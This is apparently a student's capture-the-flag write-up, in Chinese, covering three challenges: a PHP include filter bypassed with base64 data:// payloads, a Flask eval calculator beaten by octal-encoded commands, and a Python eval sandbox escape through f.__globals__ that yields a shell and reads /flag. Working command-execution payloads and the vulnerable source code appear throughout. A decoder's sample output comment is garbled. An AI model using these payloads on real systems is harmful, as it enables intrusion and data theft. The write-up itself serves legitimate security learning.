

week3 wp

张博翔 -----海南大学 -----20233001306

Include Me

```
1  <?php
2  highlight_file(__FILE__);
3  function waf(){
4      if(preg_match("/<|\?
|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){
5          die("兄弟你别包");
6      };
7  }
8  if(isset($_GET['phpinfo'])){
9      phpinfo();
10 }
11
12 //兄弟你知道吗?
13 if(!isset($_GET['iknow'])){
14     header("Refresh: 5;url=https://cn.bing.com/search?
q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
15 }
16
17 waf();
18 include $_GET['me'];
19 echo "兄弟你好香";
20 ?>
```

根据题目大概知道要干嘛了，可以看一下phpinfo ()，它的那个是 `allow` 的

Payload:

```
1  # PD9waHAgc3lzdGVtKCdscyAvJyk7Pz4g
2  ?iknow=1&me=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscyAvJyk7Pz4g
3
4  # PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcgJyk7Pz4g
5  ?iknow=1&me=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcgJyk7Pz4g
```

臭皮的计算机

```
1  from flask import Flask, render_template, request
2  import uuid
3  import subprocess
4  import os
5  import tempfile
6
7  app = Flask(__name__)
8  app.secret_key = str(uuid.uuid4())
9
```

```

10 def waf(s):
11     token = True
12     for i in s:
13         if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
14             token = False
15             break
16     return token
17
18 @app.route("/")
19 def index():
20     return render_template("index.html")
21
22 @app.route("/calc", methods=['POST', 'GET'])
23 def calc():
24
25     if request.method == 'POST':
26         num = request.form.get("num")
27         script = f'''import os
28 print(eval("{num}"))
29 '''
30         print(script)
31         if waf(num):
32             try:
33                 result_output = ''
34                 with tempfile.NamedTemporaryFile(mode='w+', suffix='.py',
delete=False) as temp_script:
35                     temp_script.write(script)
36                     temp_script_path = temp_script.name
37
38                     result = subprocess.run(['python3', temp_script_path],
capture_output=True, text=True)
39                     os.remove(temp_script_path)
40
41                     result_output = result.stdout if result.returncode == 0 else
result.stderr
42             except Exception as e:
43
44                 result_output = str(e)
45                 return render_template("calc.html", result=result_output)
46             else:
47                 return render_template("calc.html", result="臭皮! 你想干什么!! ")
48             return render_template("calc.html", result='试试呗')
49
50 if __name__ == "__main__":
51     app.run(host='0.0.0.0', port=30002)

```

发现了 `eval()`，但是只接受数字，我们想要执行语句，于是我们考虑使用8进制（全是数字），贴两个脚本

8进制编密码

```

1 def text_to_octal(text):
2     octal_string = ""
3     for char in text:
4         octal_value = oct(ord(char))[2:] # 将字符转换为八进制字符串，并去掉前缀 '0o'
5         octal_string += f"\\{octal_value}"

```

```

6         return octal_string
7
8     # 示例文本
9     text = "__import__('os').system('cat /flag')"
10
11    # 转换为八进制表示的字符串
12    octal_string = text_to_octal(text)
13
14    print(octal_string)

```

8进制编码

```

1    def octal_to_text(octal_string):
2        # 去掉每个八进制值前面的反斜杠
3        octal_values = octal_string.split("\\")[1:] # 分割并去掉空字符串
4
5        # 将每个八进制值转换为对应的字符
6        characters = [chr(int(octal, 8)) for octal in octal_values]
7
8        # 将字符数组连接成一个字符串
9        result = ''.join(characters)
10
11       return result
12
13    # 示例八进制表示的字符串
14    octal_string =
15    "\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\57\\157\\163\\57\\63\\163\\17
16    1\\163\\164\\145\\155\\57\\154\\163\\57\\63"
17
18    # 解码为原始文本
19    decoded_text = octal_to_text(octal_string)
20
21    print(decoded_text) # 输出: ==记革命==/os/38system2/ls/3

```

Payload:

```

1    \137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145
    \155\50\47\143\141\164\40\57\146\154\141\147\47\51

```

臭皮踩踩背

给的是一个nc的入口，我这里直接在wsl里做了

```

1    #题目
2    你被豌豆关在一个监狱里，，，，，
3    豌豆百密一疏，不小心遗漏了一些东西，，，
4    def ev4l(*args):
5        print(secret)
6    inp = input("> ")
7    f = lambda: None
8    print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
9    能不能逃出去给豌豆踩踩背就看你自己了，臭皮，，

```

第一步思路：我想要触发 `secret`，我们输入 `evel`

```
1 > eval()
2 你已经拿到了钥匙，但是打开错了门，好好想想，还有什么东西是你没有理解透的？
3 None
```

发现只是一个字符串，试了很多次之后发现入口在 `f`

Payload:

```
1 f.__globals__
2 #{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__':
  <_frozen_importlib_external.SourceFileLoader object at 0x7f877b8364c0>, '__spec__':
  None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>,
  '__file__': '/main.py', '__cached__': None, 'ev4l': <function ev4l at
  0x7f877b7f31f0>, 'secret': '你已经拿到了钥匙，但是打开错了门，好好想想，还有什么东西是你没有理
  解透的?', 'inp': 'f.__globals__', 'f': <function <lambda> at 0x7f877b6dfd30>}
3 f.__globals__[ '__builtins__' ].__import__( 'os' ).system( 'sh' )
4 ls
5 ls /
6 cat /flag
```

得到flag